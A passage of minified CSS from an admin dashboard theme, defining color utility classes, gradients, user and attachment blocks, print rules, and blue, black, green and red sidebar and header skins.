.modal-body{background-color:#f39c12!important}.alert-info,.bg-aqua,.callout.callout-info,.label-info,.modal-info .modal-body{background-color:#00c0ef!important}.bg-blue{background-color:#0073b7!important}.bg-light-blue,.label-primary,.modal-primary .modal-body{background-color:#3c8dbc!important}.alert-success,.bg-green,.callout.callout-success,.label-success,.modal-success .modal-body{background-color:#00a65a!important}.bg-navy{background-color:#001f3f!important}.bg-teal{background-color:#39cccc!important}.bg-olive{background-color:#3d9970!important}.bg-lime{background-color:#01ff70!important}.bg-orange{background-color:#ff851b!important}.bg-fuchsia{background-color:#f012be!important}.bg-purple{background-color:#605ca8!important}.bg-maroon{background-color:#d81b60!important}.bg-gray-active{color:#000;background-color:#b5bbc8!important}.bg-black-active{background-color:#000!important}.bg-red-active,.modal-danger .modal-footer,.modal-danger .modal-header{background-color:#d33724!important}.bg-yellow-active,.modal-warning .modal-footer,.modal-warning .modal-header{background-color:#db8b0b!important}.bg-aqua-active,.modal-info .modal-footer,.modal-info .modal-header{background-color:#00a7d0!important}.bg-blue-active{background-color:#005384!important}.bg-light-blue-active,.modal-primary .modal-footer,.modal-primary .modal-header{background-color:#357ca5!important}.bg-green-active,.modal-success .modal-footer,.modal-success .modal-header{background-color:#008d4c!important}.bg-navy-active{background-color:#001a35!important}.bg-teal-active{background-color:#30bbbb!important}.bg-olive-active{background-color:#368763!important}.bg-lime-active{background-color:#00e765!important}.bg-orange-active{background-color:#ff7701!important}.bg-fuchsia-active{background-color:#db0ead!important}.bg-purple-active{background-color:#555299!important}.bg-maroon-active{background-color:#ca195a!important}[class^=bg-].disabled{opacity:.65;filter:alpha(opacity=65)}.text-red{color:#dd4b39!important}.text-yellow{color:#f39c12!important}.text-aqua{color:#00c0ef!important}.text-blue{color:#0073b7!important}.text-black{color:#111!important}.text-light-blue{color:#3c8dbc!important}.text-green{color:#00a65a!important}.text-gray{color:#d2d6de!important}.text-navy{color:#001f3f!important}.text-teal{color:#39cccc!important}.text-olive{color:#3d9970!important}.text-lime{color:#01ff70!important}.text-orange{color:#ff851b!important}.text-fuchsia{color:#f012be!important}.text-purple{color:#605ca8!important}.text-maroon{color:#d81b60!important}.link-muted{color:#7a869d}.link-muted:focus,.link-muted:hover{color:#606c84}.link-black{color:#666}.link-black:focus,.link-black:hover{color:#999}.hide{display:none!important}.no-border{border:0!important}.no-padding{padding:0!important}.no-margin{margin:0!important}.no-shadow{box-shadow:none!important}.chart-legend,.contacts-list,.list-unstyled,.mailbox-attachments,.users-list{list-style:none;margin:0;padding:0}.list-group-unbordered>.list-group-item{border-left:0;border-right:0;border-radius:0;padding-left:0;padding-right:0}.flat{border-radius:0!important}.text-bold,.text-bold.table td,.text-bold.table th{font-weight:700}.text-sm{font-size:12px}.jqstooltip{padding:5px!important;width:auto!important;height:auto!important}.bg-teal-gradient{background:#39cccc!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#39cccc),color-stop(1,#7adddd))!important;background:-ms-linear-gradient(bottom,#39cccc,#7adddd)!important;background:-moz-linear-gradient(center bottom,#39cccc 0,#7adddd 100%)!important;background:-o-linear-gradient(#7adddd,#39cccc)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#7adddd",endColorstr="#39CCCC",GradientType=0)!important;color:#fff}.bg-light-blue-gradient{background:#3c8dbc!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#3c8dbc),color-stop(1,#67a8ce))!important;background:-ms-linear-gradient(bottom,#3c8dbc,#67a8ce)!important;background:-moz-linear-gradient(center bottom,#3c8dbc 0,#67a8ce 100%)!important;background:-o-linear-gradient(#67a8ce,#3c8dbc)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#67a8ce",endColorstr="#3c8dbc",GradientType=0)!important;color:#fff}.bg-blue-gradient{background:#0073b7!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#0073b7),color-stop(1,#0089db))!important;background:-ms-linear-gradient(bottom,#0073b7,#0089db)!important;background:-moz-linear-gradient(center bottom,#0073b7 0,#0089db 100%)!important;background:-o-linear-gradient(#0089db,#0073b7)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#0089db",endColorstr="#0073b7",GradientType=0)!important;color:#fff}.bg-aqua-gradient{background:#00c0ef!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#00c0ef),color-stop(1,#14d1ff))!important;background:-ms-linear-gradient(bottom,#00c0ef,#14d1ff)!important;background:-moz-linear-gradient(center bottom,#00c0ef 0,#14d1ff 100%)!important;background:-o-linear-gradient(#14d1ff,#00c0ef)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#14d1ff",endColorstr="#00c0ef",GradientType=0)!important;color:#fff}.bg-yellow-gradient{background:#f39c12!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#f39c12),color-stop(1,#f7bc60))!important;background:-ms-linear-gradient(bottom,#f39c12,#f7bc60)!important;background:-moz-linear-gradient(center bottom,#f39c12 0,#f7bc60 100%)!important;background:-o-linear-gradient(#f7bc60,#f39c12)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#f7bc60",endColorstr="#f39c12",GradientType=0)!important;color:#fff}.bg-purple-gradient{background:#605ca8!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#605ca8),color-stop(1,#9491c4))!important;background:-ms-linear-gradient(bottom,#605ca8,#9491c4)!important;background:-moz-linear-gradient(center bottom,#605ca8 0,#9491c4 100%)!important;background:-o-linear-gradient(#9491c4,#605ca8)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#9491c4",endColorstr="#605ca8",GradientType=0)!important;color:#fff}.bg-green-gradient{background:#00a65a!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#00a65a),color-stop(1,#00ca6d))!important;background:-ms-linear-gradient(bottom,#00a65a,#00ca6d)!important;background:-moz-linear-gradient(center bottom,#00a65a 0,#00ca6d 100%)!important;background:-o-linear-gradient(#00ca6d,#00a65a)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#00ca6d",endColorstr="#00a65a",GradientType=0)!important;color:#fff}.bg-red-gradient{background:#dd4b39!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#dd4b39),color-stop(1,#e47365))!important;background:-ms-linear-gradient(bottom,#dd4b39,#e47365)!important;background:-moz-linear-gradient(center bottom,#dd4b39 0,#e47365 100%)!important;background:-o-linear-gradient(#e47365,#dd4b39)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#e47365",endColorstr="#dd4b39",GradientType=0)!important;color:#fff}.bg-black-gradient{background:#111!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#111),color-stop(1,#2b2b2b))!important;background:-ms-linear-gradient(bottom,#111,#2b2b2b)!important;background:-moz-linear-gradient(center bottom,#111 0,#2b2b2b 100%)!important;background:-o-linear-gradient(#2b2b2b,#111)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#2b2b2b",endColorstr="#111",GradientType=0)!important;color:#fff}.bg-maroon-gradient{background:#d81b60!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#d81b60),color-stop(1,#e73f7c))!important;background:-ms-linear-gradient(bottom,#d81b60,#e73f7c)!important;background:-moz-linear-gradient(center bottom,#d81b60 0,#e73f7c 100%)!important;background:-o-linear-gradient(#e73f7c,#d81b60)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#e73f7c",endColorstr="#D81B60",GradientType=0)!important;color:#fff}.description-block .description-icon{font-size:16px}.no-pad-top{padding-top:0}.position-static{position:static!important}.list-header{font-size:15px;padding:10px 4px;font-weight:700;color:#666}.list-seperator{height:1px;background:#f4f4f4;margin:15px 0 9px}.list-link>a{padding:4px;color:#777}.list-link>a:hover{color:#222}.font-light{font-weight:300}.user-block:after,.user-block:before{content:" ";display:table}.user-block:after{clear:both}.user-block img{width:40px;height:40px;float:left}.user-block .comment,.user-block .description,.user-block .username{display:block;margin-left:50px}.user-block .username{font-size:16px;font-weight:600}.user-block .description{color:#999;font-size:13px}.user-block.user-block-sm .comment,.user-block.user-block-sm .description,.user-block.user-block-sm .username{margin-left:40px}.user-block.user-block-sm .username{font-size:14px}.box-comments .box-comment img,.img-lg,.img-md,.img-sm,.user-block.user-block-sm img{float:left}.box-comments .box-comment img,.img-sm,.user-block.user-block-sm img{width:30px!important;height:30px!important}.img-sm+.img-push{margin-left:40px}.img-md{width:60px;height:60px}.img-md+.img-push{margin-left:70px}.img-lg{width:100px;height:100px}.img-lg+.img-push{margin-left:110px}.img-bordered{border:3px solid #d2d6de;padding:3px}.img-bordered-sm{border:2px solid #d2d6de;padding:2px}.attachment-block{border:1px solid #f4f4f4;padding:5px;margin-bottom:10px;background:#f7f7f7}.attachment-block .attachment-img{max-width:100px;max-height:100px;height:auto;float:left}.attachment-block .attachment-pushed{margin-left:110px}.attachment-block .attachment-heading{margin:0}.attachment-block .attachment-text{color:#555}.connectedSortable{min-height:100px}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sort-highlight{background:#f4f4f4;border:1px dashed #ddd;margin-bottom:10px}.full-opacity-hover{opacity:.65;filter:alpha(opacity=65)}.full-opacity-hover:hover{opacity:1;filter:alpha(opacity=100)}.chart{position:relative;overflow:hidden;width:100%}.chart canvas,.chart svg{width:100%!important}hr{border-top:1px solid #555}#red .slider-selection{background:#f56954}#blue .slider-selection{background:#3c8dbc}#green .slider-selection{background:#00a65a}#yellow .slider-selection{background:#f39c12}#aqua .slider-selection{background:#00c0ef}#purple .slider-selection{background:#932ab6}@media print{.content-header,.left-side,.main-header,.main-sidebar,.no-print{display:none!important}.content-wrapper,.main-footer,.right-side{margin-left:0!important;min-height:0!important;-webkit-transform:translate(0)!important;-ms-transform:translate(0)!important;-o-transform:translate(0)!important;transform:translate(0)!important}.fixed .content-wrapper,.fixed .right-side{padding-top:0!important}.invoice{width:100%;border:0;margin:0;padding:0}.invoice-col{float:left;width:33.3333333%}.table-responsive{overflow:auto}.table-responsive>.table tr td,.table-responsive>.table tr th{white-space:normal!important}}.skin-blue .main-header .navbar{background-color:#3c8dbc}.skin-blue .main-header .navbar .nav>li>a{color:#fff}.skin-blue .main-header .navbar .nav .open>a,.skin-blue .main-header .navbar .nav .open>a:focus,.skin-blue .main-header .navbar .nav .open>a:hover,.skin-blue .main-header .navbar .nav>.active>a,.skin-blue .main-header .navbar .nav>li>a:active,.skin-blue .main-header .navbar .nav>li>a:focus,.skin-blue .main-header .navbar .nav>li>a:hover,.skin-blue .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-blue .main-header .navbar .sidebar-toggle{color:#fff}.skin-blue .main-header .navbar .sidebar-toggle:hover{background-color:#367fa9}@media (max-width:767px){.skin-blue .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-blue .main-header .navbar .dropdown-menu li a{color:#fff}.skin-blue .main-header .navbar .dropdown-menu li a:hover{background:#367fa9}}.skin-blue .main-header .logo{background-color:#367fa9;color:#fff;border-bottom:0 solid transparent}.skin-blue .main-header .logo:hover{background-color:#357ca5}.skin-blue .main-header li.user-header{background-color:#3c8dbc}.skin-blue .content-header{background:transparent}.skin-blue .left-side,.skin-blue .main-sidebar,.skin-blue .wrapper{background-color:#222d32}.skin-blue .user-panel>.info,.skin-blue .user-panel>.info>a{color:#fff}.skin-blue .sidebar-menu>li.header{color:#4b646f;background:#1a2226}.skin-blue .sidebar-menu>li>a{border-left:3px solid transparent}.skin-blue .sidebar-menu>li.active>a,.skin-blue .sidebar-menu>li.menu-open>a,.skin-blue .sidebar-menu>li:hover>a{color:#fff;background:#1e282c}.skin-blue .sidebar-menu>li.active>a{border-left-color:#3c8dbc}.skin-blue .sidebar-menu>li>.treeview-menu{margin:0 1px;background:#2c3b41}.skin-blue .sidebar a{color:#b8c7ce}.skin-blue .sidebar a:hover{text-decoration:none}.skin-blue .sidebar-menu .treeview-menu>li>a{color:#8aa4af}.skin-blue .sidebar-menu .treeview-menu>li.active>a,.skin-blue .sidebar-menu .treeview-menu>li>a:hover{color:#fff}.skin-blue .sidebar-form{border-radius:3px;border:1px solid #374850;margin:10px}.skin-blue .sidebar-form .btn,.skin-blue .sidebar-form input[type=text]{box-shadow:none;background-color:#374850;border:1px solid transparent;height:35px}.skin-blue .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-blue .sidebar-form input[type=text]:focus,.skin-blue .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-blue .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-blue .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}.skin-blue-light .main-header .navbar{background-color:#3c8dbc}.skin-blue-light .main-header .navbar .nav>li>a{color:#fff}.skin-blue-light .main-header .navbar .nav .open>a,.skin-blue-light .main-header .navbar .nav .open>a:focus,.skin-blue-light .main-header .navbar .nav .open>a:hover,.skin-blue-light .main-header .navbar .nav>.active>a,.skin-blue-light .main-header .navbar .nav>li>a:active,.skin-blue-light .main-header .navbar .nav>li>a:focus,.skin-blue-light .main-header .navbar .nav>li>a:hover,.skin-blue-light .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-blue-light .main-header .navbar .sidebar-toggle{color:#fff}.skin-blue-light .main-header .navbar .sidebar-toggle:hover{background-color:#367fa9}@media (max-width:767px){.skin-blue-light .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-blue-light .main-header .navbar .dropdown-menu li a{color:#fff}.skin-blue-light .main-header .navbar .dropdown-menu li a:hover{background:#367fa9}}.skin-blue-light .main-header .logo{background-color:#3c8dbc;color:#fff;border-bottom:0 solid transparent}.skin-blue-light .main-header .logo:hover{background-color:#3b8ab8}.skin-blue-light .main-header li.user-header{background-color:#3c8dbc}.skin-blue-light .content-header{background:transparent}.skin-blue-light .left-side,.skin-blue-light .main-sidebar,.skin-blue-light .wrapper{background-color:#f9fafc}.skin-blue-light .main-sidebar{border-right:1px solid #d2d6de}.skin-blue-light .user-panel>.info,.skin-blue-light .user-panel>.info>a{color:#444}.skin-blue-light .sidebar-menu>li{-webkit-transition:border-left-color .3s ease;-o-transition:border-left-color .3s ease;transition:border-left-color .3s ease}.skin-blue-light .sidebar-menu>li.header{color:#848484;background:#f9fafc}.skin-blue-light .sidebar-menu>li>a{border-left:3px solid transparent;font-weight:600}.skin-blue-light .sidebar-menu>li.active>a,.skin-blue-light .sidebar-menu>li:hover>a{color:#000;background:#f4f4f5}.skin-blue-light .sidebar-menu>li.active{border-left-color:#3c8dbc}.skin-blue-light .sidebar-menu>li.active>a{font-weight:600}.skin-blue-light .sidebar-menu>li>.treeview-menu{background:#f4f4f5}.skin-blue-light .sidebar a{color:#444}.skin-blue-light .sidebar a:hover{text-decoration:none}.skin-blue-light .sidebar-menu .treeview-menu>li>a{color:#777}.skin-blue-light .sidebar-menu .treeview-menu>li.active>a,.skin-blue-light .sidebar-menu .treeview-menu>li>a:hover{color:#000}.skin-blue-light .sidebar-menu .treeview-menu>li.active>a{font-weight:600}.skin-blue-light .sidebar-form{border-radius:3px;border:1px solid #d2d6de;margin:10px}.skin-blue-light .sidebar-form .btn,.skin-blue-light .sidebar-form input[type=text]{box-shadow:none;background-color:#fff;border:1px solid transparent;height:35px}.skin-blue-light .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-blue-light .sidebar-form input[type=text]:focus,.skin-blue-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-blue-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-blue-light .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}@media (min-width:768px){.skin-blue-light.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{border-left:1px solid #d2d6de}}.skin-blue-light .main-footer{border-top-color:#d2d6de}.skin-blue.layout-top-nav .main-header>.logo{background-color:#3c8dbc;color:#fff;border-bottom:0 solid transparent}.skin-blue.layout-top-nav .main-header>.logo:hover{background-color:#3b8ab8}.skin-black .main-header{-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.skin-black .main-header .navbar-toggle{color:#333}.skin-black .main-header .navbar-brand{color:#333;border-right:1px solid #eee}.skin-black .main-header .navbar{background-color:#fff}.skin-black .main-header .navbar .nav>li>a{color:#333}.skin-black .main-header .navbar .nav .open>a,.skin-black .main-header .navbar .nav .open>a:focus,.skin-black .main-header .navbar .nav .open>a:hover,.skin-black .main-header .navbar .nav>.active>a,.skin-black .main-header .navbar .nav>li>a:active,.skin-black .main-header .navbar .nav>li>a:focus,.skin-black .main-header .navbar .nav>li>a:hover{background:#fff;color:#999}.skin-black .main-header .navbar .sidebar-toggle{color:#333}.skin-black .main-header .navbar .sidebar-toggle:hover{color:#999;background:#fff}.skin-black .main-header .navbar>.sidebar-toggle{color:#333;border-right:1px solid #eee}.skin-black .main-header .navbar .navbar-nav>li>a{border-right:1px solid #eee}.skin-black .main-header .navbar .navbar-custom-menu .navbar-nav>li>a,.skin-black .main-header .navbar .navbar-right>li>a{border-left:1px solid #eee;border-right-width:0}.skin-black .main-header .logo{background-color:#fff;color:#333;border-bottom:0 solid transparent;border-right:1px solid #eee}.skin-black .main-header .logo:hover{background-color:#fcfcfc}@media (max-width:767px){.skin-black .main-header .logo{background-color:#222;color:#fff;border-bottom:0 solid transparent;border-right:none}.skin-black .main-header .logo:hover{background-color:#1f1f1f}}.skin-black .main-header li.user-header{background-color:#222}.skin-black .content-header{background:transparent;box-shadow:none}.skin-black .left-side,.skin-black .main-sidebar,.skin-black .wrapper{background-color:#222d32}.skin-black .user-panel>.info,.skin-black .user-panel>.info>a{color:#fff}.skin-black .sidebar-menu>li.header{color:#4b646f;background:#1a2226}.skin-black .sidebar-menu>li>a{border-left:3px solid transparent}.skin-black .sidebar-menu>li.active>a,.skin-black .sidebar-menu>li.menu-open>a,.skin-black .sidebar-menu>li:hover>a{color:#fff;background:#1e282c}.skin-black .sidebar-menu>li.active>a{border-left-color:#fff}.skin-black .sidebar-menu>li>.treeview-menu{margin:0 1px;background:#2c3b41}.skin-black .sidebar a{color:#b8c7ce}.skin-black .sidebar a:hover{text-decoration:none}.skin-black .sidebar-menu .treeview-menu>li>a{color:#8aa4af}.skin-black .sidebar-menu .treeview-menu>li.active>a,.skin-black .sidebar-menu .treeview-menu>li>a:hover{color:#fff}.skin-black .sidebar-form{border-radius:3px;border:1px solid #374850;margin:10px}.skin-black .sidebar-form .btn,.skin-black .sidebar-form input[type=text]{box-shadow:none;background-color:#374850;border:1px solid transparent;height:35px}.skin-black .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-black .sidebar-form input[type=text]:focus,.skin-black .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-black .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-black .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}.skin-black .pace .pace-progress{background:#222}.skin-black .pace .pace-activity{border-top-color:#222;border-left-color:#222}.skin-black-light .main-header{-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.skin-black-light .main-header .navbar-toggle{color:#333}.skin-black-light .main-header .navbar-brand{color:#333;border-right:1px solid #d2d6de}.skin-black-light .main-header .navbar{background-color:#fff}.skin-black-light .main-header .navbar .nav>li>a{color:#333}.skin-black-light .main-header .navbar .nav .open>a,.skin-black-light .main-header .navbar .nav .open>a:focus,.skin-black-light .main-header .navbar .nav .open>a:hover,.skin-black-light .main-header .navbar .nav>.active>a,.skin-black-light .main-header .navbar .nav>li>a:active,.skin-black-light .main-header .navbar .nav>li>a:focus,.skin-black-light .main-header .navbar .nav>li>a:hover{background:#fff;color:#999}.skin-black-light .main-header .navbar .sidebar-toggle{color:#333}.skin-black-light .main-header .navbar .sidebar-toggle:hover{color:#999;background:#fff}.skin-black-light .main-header .navbar>.sidebar-toggle{color:#333;border-right:1px solid #d2d6de}.skin-black-light .main-header .navbar .navbar-nav>li>a{border-right:1px solid #d2d6de}.skin-black-light .main-header .navbar .navbar-custom-menu .navbar-nav>li>a,.skin-black-light .main-header .navbar .navbar-right>li>a{border-left:1px solid #d2d6de;border-right-width:0}.skin-black-light .main-header .logo{background-color:#fff;color:#333;border-bottom:0 solid transparent;border-right:1px solid #d2d6de}.skin-black-light .main-header .logo:hover{background-color:#fcfcfc}@media (max-width:767px){.skin-black-light .main-header .logo{background-color:#222;color:#fff;border-bottom:0 solid transparent;border-right:none}.skin-black-light .main-header .logo:hover{background-color:#1f1f1f}}.skin-black-light .main-header li.user-header{background-color:#222}.skin-black-light .content-header{background:transparent;box-shadow:none}.skin-black-light .left-side,.skin-black-light .main-sidebar,.skin-black-light .wrapper{background-color:#f9fafc}.skin-black-light .main-sidebar{border-right:1px solid #d2d6de}.skin-black-light .user-panel>.info,.skin-black-light .user-panel>.info>a{color:#444}.skin-black-light .sidebar-menu>li{-webkit-transition:border-left-color .3s ease;-o-transition:border-left-color .3s ease;transition:border-left-color .3s ease}.skin-black-light .sidebar-menu>li.header{color:#848484;background:#f9fafc}.skin-black-light .sidebar-menu>li>a{border-left:3px solid transparent;font-weight:600}.skin-black-light .sidebar-menu>li.active>a,.skin-black-light .sidebar-menu>li:hover>a{color:#000;background:#f4f4f5}.skin-black-light .sidebar-menu>li.active{border-left-color:#fff}.skin-black-light .sidebar-menu>li.active>a{font-weight:600}.skin-black-light .sidebar-menu>li>.treeview-menu{background:#f4f4f5}.skin-black-light .sidebar a{color:#444}.skin-black-light .sidebar a:hover{text-decoration:none}.skin-black-light .sidebar-menu .treeview-menu>li>a{color:#777}.skin-black-light .sidebar-menu .treeview-menu>li.active>a,.skin-black-light .sidebar-menu .treeview-menu>li>a:hover{color:#000}.skin-black-light .sidebar-menu .treeview-menu>li.active>a{font-weight:600}.skin-black-light .sidebar-form{border-radius:3px;border:1px solid #d2d6de;margin:10px}.skin-black-light .sidebar-form .btn,.skin-black-light .sidebar-form input[type=text]{box-shadow:none;background-color:#fff;border:1px solid transparent;height:35px}.skin-black-light .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-black-light .sidebar-form input[type=text]:focus,.skin-black-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-black-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-black-light .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}@media (min-width:768px){.skin-black-light.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{border-left:1px solid #d2d6de}}.skin-green .main-header .navbar{background-color:#00a65a}.skin-green .main-header .navbar .nav>li>a{color:#fff}.skin-green .main-header .navbar .nav .open>a,.skin-green .main-header .navbar .nav .open>a:focus,.skin-green .main-header .navbar .nav .open>a:hover,.skin-green .main-header .navbar .nav>.active>a,.skin-green .main-header .navbar .nav>li>a:active,.skin-green .main-header .navbar .nav>li>a:focus,.skin-green .main-header .navbar .nav>li>a:hover,.skin-green .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-green .main-header .navbar .sidebar-toggle{color:#fff}.skin-green .main-header .navbar .sidebar-toggle:hover{background-color:#008d4c}@media (max-width:767px){.skin-green .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-green .main-header .navbar .dropdown-menu li a{color:#fff}.skin-green .main-header .navbar .dropdown-menu li a:hover{background:#008d4c}}.skin-green .main-header .logo{background-color:#008d4c;color:#fff;border-bottom:0 solid transparent}.skin-green .main-header .logo:hover{background-color:#008749}.skin-green .main-header li.user-header{background-color:#00a65a}.skin-green .content-header{background:transparent}.skin-green .left-side,.skin-green .main-sidebar,.skin-green .wrapper{background-color:#222d32}.skin-green .user-panel>.info,.skin-green .user-panel>.info>a{color:#fff}.skin-green .sidebar-menu>li.header{color:#4b646f;background:#1a2226}.skin-green .sidebar-menu>li>a{border-left:3px solid transparent}.skin-green .sidebar-menu>li.active>a,.skin-green .sidebar-menu>li.menu-open>a,.skin-green .sidebar-menu>li:hover>a{color:#fff;background:#1e282c}.skin-green .sidebar-menu>li.active>a{border-left-color:#00a65a}.skin-green .sidebar-menu>li>.treeview-menu{margin:0 1px;background:#2c3b41}.skin-green .sidebar a{color:#b8c7ce}.skin-green .sidebar a:hover{text-decoration:none}.skin-green .sidebar-menu .treeview-menu>li>a{color:#8aa4af}.skin-green .sidebar-menu .treeview-menu>li.active>a,.skin-green .sidebar-menu .treeview-menu>li>a:hover{color:#fff}.skin-green .sidebar-form{border-radius:3px;border:1px solid #374850;margin:10px}.skin-green .sidebar-form .btn,.skin-green .sidebar-form input[type=text]{box-shadow:none;background-color:#374850;border:1px solid transparent;height:35px}.skin-green .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-green .sidebar-form input[type=text]:focus,.skin-green .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-green .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-green .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}.skin-green-light .main-header .navbar{background-color:#00a65a}.skin-green-light .main-header .navbar .nav>li>a{color:#fff}.skin-green-light .main-header .navbar .nav .open>a,.skin-green-light .main-header .navbar .nav .open>a:focus,.skin-green-light .main-header .navbar .nav .open>a:hover,.skin-green-light .main-header .navbar .nav>.active>a,.skin-green-light .main-header .navbar .nav>li>a:active,.skin-green-light .main-header .navbar .nav>li>a:focus,.skin-green-light .main-header .navbar .nav>li>a:hover,.skin-green-light .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-green-light .main-header .navbar .sidebar-toggle{color:#fff}.skin-green-light .main-header .navbar .sidebar-toggle:hover{background-color:#008d4c}@media (max-width:767px){.skin-green-light .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-green-light .main-header .navbar .dropdown-menu li a{color:#fff}.skin-green-light .main-header .navbar .dropdown-menu li a:hover{background:#008d4c}}.skin-green-light .main-header .logo{background-color:#00a65a;color:#fff;border-bottom:0 solid transparent}.skin-green-light .main-header .logo:hover{background-color:#00a157}.skin-green-light .main-header li.user-header{background-color:#00a65a}.skin-green-light .content-header{background:transparent}.skin-green-light .left-side,.skin-green-light .main-sidebar,.skin-green-light .wrapper{background-color:#f9fafc}.skin-green-light .main-sidebar{border-right:1px solid #d2d6de}.skin-green-light .user-panel>.info,.skin-green-light .user-panel>.info>a{color:#444}.skin-green-light .sidebar-menu>li{-webkit-transition:border-left-color .3s ease;-o-transition:border-left-color .3s ease;transition:border-left-color .3s ease}.skin-green-light .sidebar-menu>li.header{color:#848484;background:#f9fafc}.skin-green-light .sidebar-menu>li>a{border-left:3px solid transparent;font-weight:600}.skin-green-light .sidebar-menu>li.active>a,.skin-green-light .sidebar-menu>li:hover>a{color:#000;background:#f4f4f5}.skin-green-light .sidebar-menu>li.active{border-left-color:#00a65a}.skin-green-light .sidebar-menu>li.active>a{font-weight:600}.skin-green-light .sidebar-menu>li>.treeview-menu{background:#f4f4f5}.skin-green-light .sidebar a{color:#444}.skin-green-light .sidebar a:hover{text-decoration:none}.skin-green-light .sidebar-menu .treeview-menu>li>a{color:#777}.skin-green-light .sidebar-menu .treeview-menu>li.active>a,.skin-green-light .sidebar-menu .treeview-menu>li>a:hover{color:#000}.skin-green-light .sidebar-menu .treeview-menu>li.active>a{font-weight:600}.skin-green-light .sidebar-form{border-radius:3px;border:1px solid #d2d6de;margin:10px}.skin-green-light .sidebar-form .btn,.skin-green-light .sidebar-form input[type=text]{box-shadow:none;background-color:#fff;border:1px solid transparent;height:35px}.skin-green-light .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-green-light .sidebar-form input[type=text]:focus,.skin-green-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-green-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-green-light .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}@media (min-width:768px){.skin-green-light.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{border-left:1px solid #d2d6de}}.skin-red .main-header .navbar{background-color:#dd4b39}.skin-red .main-header .navbar .nav>li>a{color:#fff}.skin-red .main-header .navbar .nav .open>a,.skin-red .main-header .navbar .nav .open>a:focus,.skin-red .main-header .navbar .nav .open>a:hover,.skin-red .main-header .navbar .nav>.active>a,.skin-red .main-header .navbar 